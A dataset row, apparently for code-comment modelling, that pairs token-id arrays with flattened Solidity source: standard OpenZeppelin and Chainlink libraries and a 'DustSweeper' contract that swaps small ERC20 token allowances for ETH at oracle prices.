1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7720,
5157,
1290,
14332,
59,
1584,
44,
12,
2867,
389,
2316,
382,
16,
2254,
5034,
389,
91,
546,
6275,
16,
2254,
5034,
389,
8949,
382,
2747,
13,
3903,
1135,
261,
11890,
5034,
389,
8949,
382,
13,
288,
203,
3639,
309,
16051,
291,
15334,
24899,
2316,
382,
3719,
15226,
3155,
1248,
15334,
24899,
2316,
382,
1769,
203,
203,
3639,
511,
18988,
24237,
751,
3778,
1982,
273,
4501,
26595,
1961,
63,
67,
2316,
382,
15533,
203,
3639,
467,
654,
39,
3462,
24899,
2316,
382,
2934,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
8949,
382,
2747,
1769,
203,
3639,
467,
654,
39,
3462,
24899,
2316,
382,
2934,
4626,
382,
11908,
7009,
1359,
12,
4165,
18,
10717,
16,
389,
8949,
382,
2747,
1769,
203,
203,
3639,
309,
261,
4165,
18,
1589,
422,
1351,
291,
91,
438,
1444,
18,
984,
291,
91,
438,
58,
22,
13,
288,
203,
5411,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
22,
1769,
203,
5411,
589,
63,
20,
65,
273,
389,
2316,
382,
31,
203,
5411,
589,
63,
21,
65,
273,
1758,
12,
91,
546,
1769,
203,
5411,
389,
8949,
382,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
4165,
18,
10717,
2934,
22270,
5157,
1290,
14332,
5157,
24899,
91,
546,
6275,
16,
389,
8949,
382,
2747,
16,
589,
16,
1234,
18,
15330,
16,
1203,
18,
5508,
25146,
21,
15533,
203,
3639,
289,
203,
203,
3639,
309,
261,
4165,
18,
1589,
422,
1351,
291,
91,
438,
1444,
18,
984,
291,
91,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Denominations {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant BTC = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB;
// Fiat currencies follow https://en.wikipedia.org/wiki/ISO_4217
address public constant USD = address(840);
address public constant GBP = address(826);
address public constant EUR = address(978);
address public constant JPY = address(392);
address public constant KRW = address(410);
address public constant CNY = address(156);
address public constant AUD = address(36);
address public constant CAD = address(124);
address public constant CHF = address(756);
address public constant ARS = address(32);
address public constant PHP = address(608);
address public constant NZD = address(554);
address public constant SGD = address(702);
address public constant NGN = address(566);
address public constant ZAR = address(710);
address public constant RUB = address(643);
address public constant INR = address(356);
address public constant BRL = address(986);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AggregatorInterface.sol";
import "./AggregatorV3Interface.sol";
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface {}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma abicoder v2;
import "./AggregatorV2V3Interface.sol";
interface FeedRegistryInterface {
struct Phase {
uint16 phaseId;
uint80 startingAggregatorRoundId;
uint80 endingAggregatorRoundId;
}
event FeedProposed(
address indexed asset,
address indexed denomination,
address indexed proposedAggregator,
address currentAggregator,
address sender
);
event FeedConfirmed(
address indexed asset,
address indexed denomination,
address indexed latestAggregator,
address previousAggregator,
uint16 nextPhaseId,
address sender
);
// V3 AggregatorV3Interface
function decimals(address base, address quote) external view returns (uint8);
function description(address base, address quote) external view returns (string memory);
function version(address base, address quote) external view returns (uint256);
function latestRoundData(address base, address quote)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function getRoundData(
address base,
address quote,
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
// V2 AggregatorInterface
function latestAnswer(address base, address quote) external view returns (int256 answer);
function latestTimestamp(address base, address quote) external view returns (uint256 timestamp);
function latestRound(address base, address quote) external view returns (uint256 roundId);
function getAnswer(
address base,
address quote,
uint256 roundId
) external view returns (int256 answer);
function getTimestamp(
address base,
address quote,
uint256 roundId
) external view returns (uint256 timestamp);
// Registry getters
function getFeed(address base, address quote) external view returns (AggregatorV2V3Interface aggregator);
function getPhaseFeed(
address base,
address quote,
uint16 phaseId
) external view returns (AggregatorV2V3Interface aggregator);
function isFeedEnabled(address aggregator) external view returns (bool);
function getPhase(
address base,
address quote,
uint16 phaseId
) external view returns (Phase memory phase);
// Round helpers
function getRoundFeed(
address base,
address quote,
uint80 roundId
) external view returns (AggregatorV2V3Interface aggregator);
function getPhaseRange(
address base,
address quote,
uint16 phaseId
) external view returns (uint80 startingRoundId, uint80 endingRoundId);
function getPreviousRoundId(
address base,
address quote,
uint80 roundId
) external view returns (uint80 previousRoundId);
function getNextRoundId(
address base,
address quote,
uint80 roundId
) external view returns (uint80 nextRoundId);
// Feed management
function proposeFeed(
address base,
address quote,
address aggregator
) external;
function confirmFeed(
address base,
address quote,
address aggregator
) external;
// Proposed aggregator
function getProposedFeed(address base, address quote)
external
view
returns (AggregatorV2V3Interface proposedAggregator);
function proposedGetRoundData(
address base,
address quote,
uint80 roundId
)
external
view
returns (
uint80 id,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function proposedLatestRoundData(address base, address quote)
external
view
returns (
uint80 id,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
// Phases
function getCurrentPhaseId(address base, address quote) external view returns (uint16 currentPhaseId);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
// OpenZeppelin
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
// Chainlink
import "@chainlink/contracts/src/v0.8/interfaces/FeedRegistryInterface.sol";
import "@chainlink/contracts/src/v0.8/Denominations.sol";
contract DustSweeper is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 private takerDiscountPercent;
uint256 private protocolFeePercent;
address private protocolWallet;
struct TokenData {
address tokenAddress;
uint256 tokenPrice;
}
mapping(address => uint8) private tokenDecimals;
// ChainLink
address private chainLinkRegistry;
address private quoteETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(
address _chainLinkRegistry,
address _protocolWallet,
uint256 _takerDiscountPercent,
uint256 _protocolFeePercent
) {
chainLinkRegistry = _chainLinkRegistry;
protocolWallet = _protocolWallet;
takerDiscountPercent = _takerDiscountPercent;
protocolFeePercent = _protocolFeePercent;
}
function sweepDust(
address[] calldata makers,
address[] calldata tokenAddresses
) external payable nonReentrant {
// Make sure order data is valid
require(makers.length > 0 && makers.length == tokenAddresses.length, "Passed order data in invalid format");
// Track how much ETH was sent so we can return any overage
uint256 ethSent = msg.value;
uint256 totalNativeAmount = 0;
TokenData memory lastToken;
for (uint256 i = 0; i < makers.length; i++) {
// Fetch/cache tokenDecimals
if (tokenDecimals[tokenAddresses[i]] == 0) {
bytes memory decData = Address.functionStaticCall(tokenAddresses[i], abi.encodeWithSignature("decimals()"));
tokenDecimals[tokenAddresses[i]] = abi.decode(decData, (uint8));
}
require(tokenDecimals[tokenAddresses[i]] > 0, "Failed to fetch token decimals");
// Fetch/cache tokenPrice
if (i == 0 || lastToken.tokenPrice == 0 || lastToken.tokenAddress != tokenAddresses[i]) {
// Need to fetch tokenPrice
lastToken = TokenData(tokenAddresses[i], uint256(getPrice(tokenAddresses[i], quoteETH)));
}
require(lastToken.tokenPrice > 0, "Failed to fetch token price!");
// Amount of Tokens to transfer
uint256 allowance = IERC20(tokenAddresses[i]).allowance(makers[i], address(this));
require(allowance > 0, "Allowance for specified token is 0");
// Equivalent amount of Native Tokens
uint256 nativeAmt = allowance * lastToken.tokenPrice / 10**tokenDecimals[tokenAddresses[i]];
totalNativeAmount += nativeAmt;
// Amount of Native Tokens to transfer
uint256 distribution = nativeAmt * (10**4 - takerDiscountPercent) / 10**4;
// Subtract distribution amount from ethSent amount
ethSent -= distribution;
// Taker sends Native Token to Maker
Address.sendValue(payable(makers[i]), distribution);
// DustSweeper sends Maker's tokens to Taker
IERC20(tokenAddresses[i]).safeTransferFrom(makers[i], msg.sender, allowance);
}
// Taker pays protocolFee % for the total amount to avoid multiple transfers
uint256 protocolNative = totalNativeAmount * protocolFeePercent / 10**4;
// Subtract protocolFee from ethSent
ethSent -= protocolNative;
// Send to protocol wallet
Address.sendValue(payable(protocolWallet), protocolNative);
// Pay any overage back to msg.sender as long as overage > gas cost
if (ethSent > 10000) {
Address.sendValue(payable(msg.sender), ethSent);
}
}
/**
* Returns the latest price from Chainlink
*/
function getPrice(address base, address quote) public view returns(int256) {
(,int256 price,,,) = FeedRegistryInterface(chainLinkRegistry).latestRoundData(base, quote);
return price;
}
// onlyOwner protected Setters/Getters
function getTakerDiscountPercent() view external returns(uint256) {
return takerDiscountPercent;
}
function setTakerDiscountPercent(uint256 _takerDiscountPercent) external onlyOwner {
if (_takerDiscountPercent <= 5000) { // 50%
takerDiscountPercent = _takerDiscountPercent;
}
}
function getProtocolFeePercent() view external returns(uint256) {
return protocolFeePercent;
}
function setProtocolFeePercent(uint256 _protocolFeePercent) external onlyOwner {
if (_protocolFeePercent <= 1000) { // 10%
protocolFeePercent = _protocolFeePercent;
}
}
function getChainLinkRegistry() view external returns(address) {
return chainLinkRegistry;
}
function setChainLinkRegistry(address _chainLinkRegistry) external onlyOwner {
chainLinkRegistry = _chainLinkRegistry;
}
function getProtocolWallet() view external returns(address) {
return protocolWallet;
}
function setProtocolWallet(address _protocolWallet) external onlyOwner {
protocolWallet = _protocolWallet;
}
// Payment methods
receive() external payable {}
fallback() external payable {}
function removeBalance(address tokenAddress) external onlyOwner {
if (tokenAddress == address(0)) {
Address.sendValue(payable(msg.sender), address(this).balance);
} else {
uint256 tokenBalance = IERC20(tokenAddress).balanceOf(address(this));
if (tokenBalance > 0) {
IERC20(tokenAddress).safeTransfer(msg.sender, tokenBalance);
}
}
}
} | Fiat currencies follow https:en.wikipedia.org/wiki/ISO_4217 | library Denominations {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant BTC = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB;
address public constant USD = address(840);
address public constant GBP = address(826);
address public constant EUR = address(978);
address public constant JPY = address(392);
address public constant KRW = address(410);
address public constant CNY = address(156);
address public constant AUD = address(36);
address public constant CAD = address(124);
address public constant CHF = address(756);
address public constant ARS = address(32);
address public constant PHP = address(608);
address public constant NZD = address(554);
address public constant SGD = address(702);
address public constant NGN = address(566);
address public constant ZAR = address(710);
address public constant RUB = address(643);
address public constant INR = address(356);
address public constant BRL = address(986);
}
| 5,764,070 | [
1,
42,
77,
270,
19239,
2805,
2333,
30,
275,
18,
11999,
13744,
18,
3341,
19,
13044,
19,
12609,
67,
9452,
4033,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
22453,
362,
10144,
288,
203,
225,
1758,
1071,
5381,
512,
2455,
273,
374,
17432,
1340,
1340,
41,
1340,
73,
41,
73,
41,
1340,
41,
73,
41,
73,
41,
1340,
9383,
41,
1340,
1340,
41,
1340,
1340,
1340,
73,
9383,
73,
41,
31,
203,
225,
1758,
1071,
5381,
605,
15988,
273,
374,
6114,
38,
70,
9676,
9676,
9897,
9676,
38,
9897,
70,
38,
9897,
38,
9897,
9897,
9676,
70,
38,
9897,
9897,
38,
70,
38,
9897,
9676,
70,
38,
31,
203,
203,
225,
1758,
1071,
5381,
587,
9903,
273,
1758,
12,
28585,
1769,
203,
225,
1758,
1071,
5381,
25069,
52,
273,
1758,
12,
28,
5558,
1769,
203,
225,
1758,
1071,
5381,
512,
1099,
273,
1758,
12,
29,
8285,
1769,
203,
225,
1758,
1071,
5381,
804,
16235,
273,
1758,
12,
5520,
22,
1769,
203,
225,
1758,
1071,
5381,
1475,
18810,
273,
1758,
12,
24,
2163,
1769,
203,
225,
1758,
1071,
5381,
13326,
61,
273,
1758,
12,
28946,
1769,
203,
225,
1758,
1071,
5381,
432,
12587,
273,
1758,
12,
5718,
1769,
203,
225,
1758,
1071,
5381,
385,
1880,
273,
1758,
12,
24734,
1769,
203,
225,
1758,
1071,
5381,
6469,
42,
273,
1758,
12,
27,
4313,
1769,
203,
225,
1758,
1071,
5381,
6052,
55,
273,
1758,
12,
1578,
1769,
203,
225,
1758,
1071,
5381,
2899,
